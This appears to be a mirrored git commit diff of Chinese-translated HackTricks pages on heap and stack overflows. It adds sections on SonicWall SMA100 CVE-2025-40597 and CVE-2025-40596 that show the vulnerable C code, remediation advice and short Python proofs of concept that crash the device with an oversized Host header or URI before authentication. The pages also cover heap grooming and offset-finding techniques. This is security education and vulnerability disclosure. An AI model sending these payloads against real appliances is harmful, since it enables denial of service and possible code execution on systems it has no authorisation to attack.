mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/libc-heap/heap-overflow.md', 'src/b
This commit is contained in:
parent
4c7e871445
commit
3a03bb05c6
@ -6,22 +6,22 @@
|
||||
|
||||
堆溢出类似于 [**栈溢出**](../stack-overflow/index.html),但发生在堆中。基本上,这意味着在堆中保留了一些空间来存储数据,而 **存储的数据大于保留的空间。**
|
||||
|
||||
在栈溢出中,我们知道一些寄存器,如指令指针或栈帧,将从栈中恢复,并且可能会被滥用。在堆溢出的情况下,**默认情况下,堆块中没有存储任何敏感信息**,可以被溢出。然而,它可能包含敏感信息或指针,因此这种漏洞的 **严重性** **取决于** **可能被覆盖的数据** 以及攻击者如何利用这一点。
|
||||
在栈溢出中,我们知道一些寄存器,如指令指针或栈帧,将从栈中恢复,并且可能会被滥用。在堆溢出的情况下,**默认情况下堆块中没有存储任何敏感信息**,可以被溢出。然而,它可能包含敏感信息或指针,因此这种漏洞的 **严重性** **取决于** **哪些数据可能被覆盖** 以及攻击者如何利用这一点。
|
||||
|
||||
> [!TIP]
|
||||
> 为了找到溢出偏移量,您可以使用与 [**栈溢出**](../stack-overflow/index.html#finding-stack-overflows-offsets) 相同的模式。
|
||||
|
||||
### 栈溢出与堆溢出
|
||||
|
||||
在栈溢出中,触发漏洞时栈中将存在的排列和数据是相当可靠的。这是因为栈是线性的,总是增加在碰撞的内存中,在 **程序运行的特定位置,栈内存通常存储类似类型的数据**,并且它具有一些特定的结构,末尾有一些指向每个函数使用的栈部分的指针。
|
||||
在栈溢出中,触发漏洞时栈中将存在的排列和数据是相当可靠的。这是因为栈是线性的,总是增加在冲突的内存中,在 **程序运行的特定位置,栈内存通常存储类似类型的数据**,并且它具有一些特定的结构,末尾有一些指向每个函数使用的栈部分的指针。
|
||||
|
||||
然而,在堆溢出的情况下,使用的内存不是线性的,而是 **分配的块通常位于内存的不同位置**(而不是一个接一个),因为 **bins 和 zones** 按大小分隔分配,并且因为 **先前释放的内存在分配新块之前被使用**。因此,**很难知道将与易受堆溢出影响的对象发生碰撞的对象**。因此,当发现堆溢出时,需要找到一种 **可靠的方法使所需对象在内存中紧挨着可以溢出的对象**。
|
||||
然而,在堆溢出的情况下,使用的内存不是线性的,而是 **分配的块通常位于内存的不同位置**(而不是一个接一个),因为 **bins 和 zones** 按大小分隔分配,并且因为 **先前释放的内存在分配新块之前被使用**。因此,**很难知道将与易受堆溢出影响的对象发生冲突的对象**。因此,当发现堆溢出时,需要找到一种 **可靠的方法使所需对象在内存中紧挨着可以被溢出的对象**。
|
||||
|
||||
用于此的一种技术是 **Heap Grooming**,例如在 [**这篇文章**](https://azeria-labs.com/grooming-the-ios-kernel-heap/) 中进行了说明。文章解释了当 iOS 内核中的一个区域没有足够的内存来存储内存块时,它通过一个内核页面进行扩展,并且该页面被分割成预期大小的块,这些块将按顺序使用(直到 iOS 版本 9.2,然后这些块以随机方式使用,以增加这些攻击的利用难度)。
|
||||
|
||||
因此,在发生堆溢出的前一篇文章中,为了强制溢出的对象与受害者对象发生碰撞,多个 **`kallocs` 被多个线程强制执行,以确保所有空闲块都被填满,并且创建一个新页面**。
|
||||
因此,在发生堆溢出的前一篇文章中,为了强制溢出的对象与受害者对象发生冲突,多个 **`kallocs` 被多个线程强制执行,以确保所有空闲块都被填满,并且创建一个新页面**。
|
||||
|
||||
为了强制用特定大小的对象填充,**与 iOS mach 端口相关的离线分配**是一个理想的候选者。通过调整消息的大小,可以精确指定 `kalloc` 分配的大小,当相应的 mach 端口被销毁时,相应的分配将立即释放回 `kfree`。
|
||||
为了强制用特定大小的对象填充,**与 iOS mach 端口相关的离线分配**是一个理想的候选者。通过精确设置消息的大小,可以准确指定 `kalloc` 分配的大小,当相应的 mach 端口被销毁时,相应的分配将立即释放回 `kfree`。
|
||||
|
||||
然后,这些占位符中的一些可以被 **释放**。**`kalloc.4096` 空闲列表以后进先出顺序释放元素**,这基本上意味着如果一些占位符被释放,而利用尝试在分配易受溢出影响的对象时分配多个受害者对象,则该对象很可能会被一个受害者对象跟随。
|
||||
|
||||
@ -31,7 +31,7 @@
|
||||
|
||||
另一个来自 [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) 的示例展示了一个非常基本的 CTF 示例,其中 **堆溢出** 可以被滥用以调用赢家函数以 **获取标志**。
|
||||
|
||||
在 [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) 示例中,可以看到如何通过滥用缓冲区溢出来 **覆盖在一个临近块中的地址**,该地址将写入 **来自用户的任意数据**。
|
||||
在 [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) 示例中,可以看到如何通过滥用缓冲区溢出来 **在一个临近块中覆盖一个地址**,该地址将 **写入用户的任意数据**。
|
||||
|
||||
### 示例 ARM64
|
||||
|
||||
@ -43,6 +43,38 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
|
||||
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||
- 我们利用整数溢出漏洞来获取堆溢出。
|
||||
- 我们破坏溢出块内 `struct` 中的函数指针,以设置如 `system` 的函数并获得代码执行。
|
||||
- 我们破坏指向溢出块内 `struct` 中函数的指针,以设置如 `system` 的函数并获得代码执行。
|
||||
|
||||
### 真实世界示例:CVE-2025-40597 – 错误使用 `__sprintf_chk`
|
||||
|
||||
在 SonicWall SMA100 固件 10.2.1.15 中,反向代理模块 `mod_httprp.so` 分配了一个 **0x80-byte** 的堆块,然后使用 `__sprintf_chk` 将多个字符串连接到其中:
|
||||
```c
|
||||
char *buf = calloc(0x80, 1);
|
||||
/* … */
|
||||
__sprintf_chk(buf, /* destination (0x80-byte chunk) */
|
||||
-1, /* <-- size argument !!! */
|
||||
0, /* flags */
|
||||
"%s%s%s%s", /* format */
|
||||
"/", "https://", path, host);
|
||||
```
|
||||
`__sprintf_chk` 是 **_FORTIFY_SOURCE** 的一部分。当它接收到一个 **正** 的 `size` 参数时,它会验证结果字符串是否适合目标缓冲区。通过传递 **`-1` (0xFFFFFFFFFFFFFFFF)**,开发人员实际上 **禁用了边界检查**,将强化调用转回经典的不安全 `sprintf`。
|
||||
|
||||
因此,提供一个过长的 **`Host:`** 头部允许攻击者 **溢出 0x80 字节的块并覆盖后续堆块的元数据**(根据分配器的不同,可能是 tcache / fast-bin / small-bin)。可以通过以下方式重现崩溃:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
requests.get(
|
||||
'https://TARGET/__api__/',
|
||||
headers={'Host': 'A'*750},
|
||||
verify=False
|
||||
)
|
||||
```
|
||||
实际利用需要**堆整理**以将可控对象放置在易受攻击的块之后,但根本原因强调了两个重要的要点:
|
||||
|
||||
1. **_FORTIFY_SOURCE 不是灵丹妙药** – 错误使用可能会使保护失效。
|
||||
2. 始终将**正确的缓冲区大小**传递给`_chk`系列(或者,更好的是,使用`snprintf`)。
|
||||
|
||||
## 参考文献
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is a Stack Overflow
|
||||
## 什么是栈溢出
|
||||
|
||||
一个**栈溢出**是指当程序向栈中写入的数据超过其分配的容量时发生的漏洞。这些多余的数据将**覆盖相邻的内存空间**,导致有效数据的损坏、控制流的中断,以及潜在的恶意代码执行。这个问题通常是由于使用不安全的函数而引起的,这些函数对输入没有进行边界检查。
|
||||
一个 **栈溢出** 是一种漏洞,当程序向栈写入的数据超过其分配的容量时就会发生。这些多余的数据将 **覆盖相邻的内存空间**,导致有效数据的损坏、控制流的中断,并可能执行恶意代码。这个问题通常是由于使用不安全的函数而引起的,这些函数在输入时不进行边界检查。
|
||||
|
||||
这个覆盖的主要问题在于**保存的指令指针(EIP/RIP)**和**保存的基指针(EBP/RBP)**用于返回到上一个函数,它们是**存储在栈上的**。因此,攻击者将能够覆盖这些内容并**控制程序的执行流**。
|
||||
这个覆盖的主要问题是 **保存的指令指针 (EIP/RIP)** 和 **保存的基指针 (EBP/RBP)** 用于返回到上一个函数,它们是 **存储在栈上的**。因此,攻击者将能够覆盖这些内容并 **控制程序的执行流**。
|
||||
|
||||
该漏洞通常是因为一个函数**在栈中复制的字节数超过了为其分配的数量**,因此能够覆盖栈的其他部分。
|
||||
该漏洞通常是因为一个函数 **在栈中复制的字节数超过了为其分配的数量**,因此能够覆盖栈的其他部分。
|
||||
|
||||
一些常见的易受攻击的函数包括:**`strcpy`, `strcat`, `sprintf`, `gets`**... 此外,像**`fgets`**、**`read`**和**`memcpy`**这样的函数,如果指定的长度大于分配的长度,可能会以脆弱的方式使用。
|
||||
一些常见的易受攻击的函数包括: **`strcpy`, `strcat`, `sprintf`, `gets`**... 此外,像 **`fgets`**、**`read` 和 `memcpy`** 这样的函数,如果指定的长度大于分配的长度,可能会以脆弱的方式使用。
|
||||
|
||||
例如,以下函数可能是脆弱的:
|
||||
```c
|
||||
@ -25,9 +25,9 @@ printf("You entered: %s\n", buffer);
|
||||
|
||||
寻找栈溢出的最常见方法是输入大量的 `A`(例如 `python3 -c 'print("A"*1000)')并期待出现 `Segmentation Fault`,这表明 **地址 `0x41414141` 被尝试访问**。
|
||||
|
||||
此外,一旦发现存在栈溢出漏洞,您需要找到偏移量,直到可以 **覆盖返回地址**,通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列,这是一个 **循环序列,其中每个可能的长度为 _n_ 的子序列恰好出现一次** 作为连续子序列。
|
||||
此外,一旦你发现存在栈溢出漏洞,你需要找到偏移量,直到可以 **覆盖返回地址**,通常使用 **De Bruijn 序列**。对于给定大小为 _k_ 的字母表和长度为 _n_ 的子序列,这是一个 **循环序列,其中每个可能的长度为 _n_ 的子序列恰好出现一次**,作为一个连续的子序列。
|
||||
|
||||
这样,您就不需要手动找出控制 EIP 所需的偏移量,可以使用这些序列作为填充,然后找到覆盖它的字节的偏移量。
|
||||
这样,就不需要手动计算控制 EIP 所需的偏移量,可以使用这些序列作为填充,然后找到覆盖它的字节的偏移量。
|
||||
|
||||
可以使用 **pwntools** 来实现这一点:
|
||||
```python
|
||||
@ -57,7 +57,7 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
|
||||
### Ret2win
|
||||
|
||||
在这种类型的 CTF 挑战中,二进制文件中有一个**从未被调用的函数**,而且**您需要调用它才能获胜**。对于这些挑战,您只需找到**覆盖返回地址的偏移量**并**找到要调用的函数的地址**(通常[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)会被禁用),这样当易受攻击的函数返回时,隐藏的函数将被调用:
|
||||
在这种类型的 CTF 挑战中,二进制文件中有一个**从未被调用的函数**,而且**您需要调用它才能获胜**。对于这些挑战,您只需找到**覆盖返回地址的偏移量**和**找到要调用的函数的地址**(通常[**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)会被禁用),这样当易受攻击的函数返回时,隐藏的函数将被调用:
|
||||
|
||||
{{#ref}}
|
||||
ret2win/
|
||||
@ -65,7 +65,7 @@ ret2win/
|
||||
|
||||
### 栈 Shellcode
|
||||
|
||||
在这种情况下,攻击者可以在栈中放置一个 shellcode,并利用受控的 EIP/RIP 跳转到 shellcode 并执行任意代码:
|
||||
在这种情况下,攻击者可以将 shellcode 放置在栈中,并利用受控的 EIP/RIP 跳转到 shellcode 并执行任意代码:
|
||||
|
||||
{{#ref}}
|
||||
stack-shellcode/
|
||||
@ -73,7 +73,7 @@ stack-shellcode/
|
||||
|
||||
### ROP & Ret2... 技术
|
||||
|
||||
该技术是绕过前一种技术的主要保护措施的基本框架:**不可执行栈 (NX)**。它允许执行其他几种技术(ret2lib、ret2syscall...),通过滥用二进制中的现有指令来执行任意命令:
|
||||
该技术是绕过前一种技术主要保护的基本框架:**不可执行栈 (NX)**。它允许执行其他几种技术(ret2lib、ret2syscall...),通过滥用二进制中的现有指令最终执行任意命令:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/
|
||||
@ -95,4 +95,33 @@ stack-shellcode/
|
||||
../common-binary-protections-and-bypasses/
|
||||
{{#endref}}
|
||||
|
||||
### 现实世界示例:CVE-2025-40596 (SonicWall SMA100)
|
||||
|
||||
一个很好的示例说明了为什么**`sscanf`永远不应该被信任来解析不可信输入**,出现在2025年SonicWall的SMA100 SSL-VPN设备中。\
|
||||
位于`/usr/src/EasyAccess/bin/httpd`中的易受攻击例程试图从任何以`/__api__/`开头的URI中提取版本和端点:
|
||||
```c
|
||||
char version[3];
|
||||
char endpoint[0x800] = {0};
|
||||
/* simplified proto-type */
|
||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||
```
|
||||
1. 第一个转换 (`%2s`) 安全地将 **两个** 字节存储到 `version` 中(例如,`"v1"`)。
|
||||
2. 第二个转换 (`%s`) **没有长度说明符**,因此 `sscanf` 将继续复制 **直到第一个 NUL 字节**。
|
||||
3. 因为 `endpoint` 位于 **栈** 上并且长度为 **0x800 字节**,提供一个超过 0x800 字节的路径会破坏缓冲区后面的所有内容 ‑ 包括 **栈金丝雀** 和 **保存的返回地址**。
|
||||
|
||||
一个单行的概念证明足以在 **身份验证之前** 触发崩溃:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||
requests.get(url, verify=False)
|
||||
```
|
||||
即使栈保护器会中止进程,攻击者仍然可以获得一个**拒绝服务**原语(并且,通过额外的信息泄露,可能实现代码执行)。教训很简单:
|
||||
|
||||
* 始终提供**最大字段宽度**(例如`%511s`)。
|
||||
* 优先选择更安全的替代方案,如`snprintf`/`strncpy_s`。
|
||||
|
||||
## 参考
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user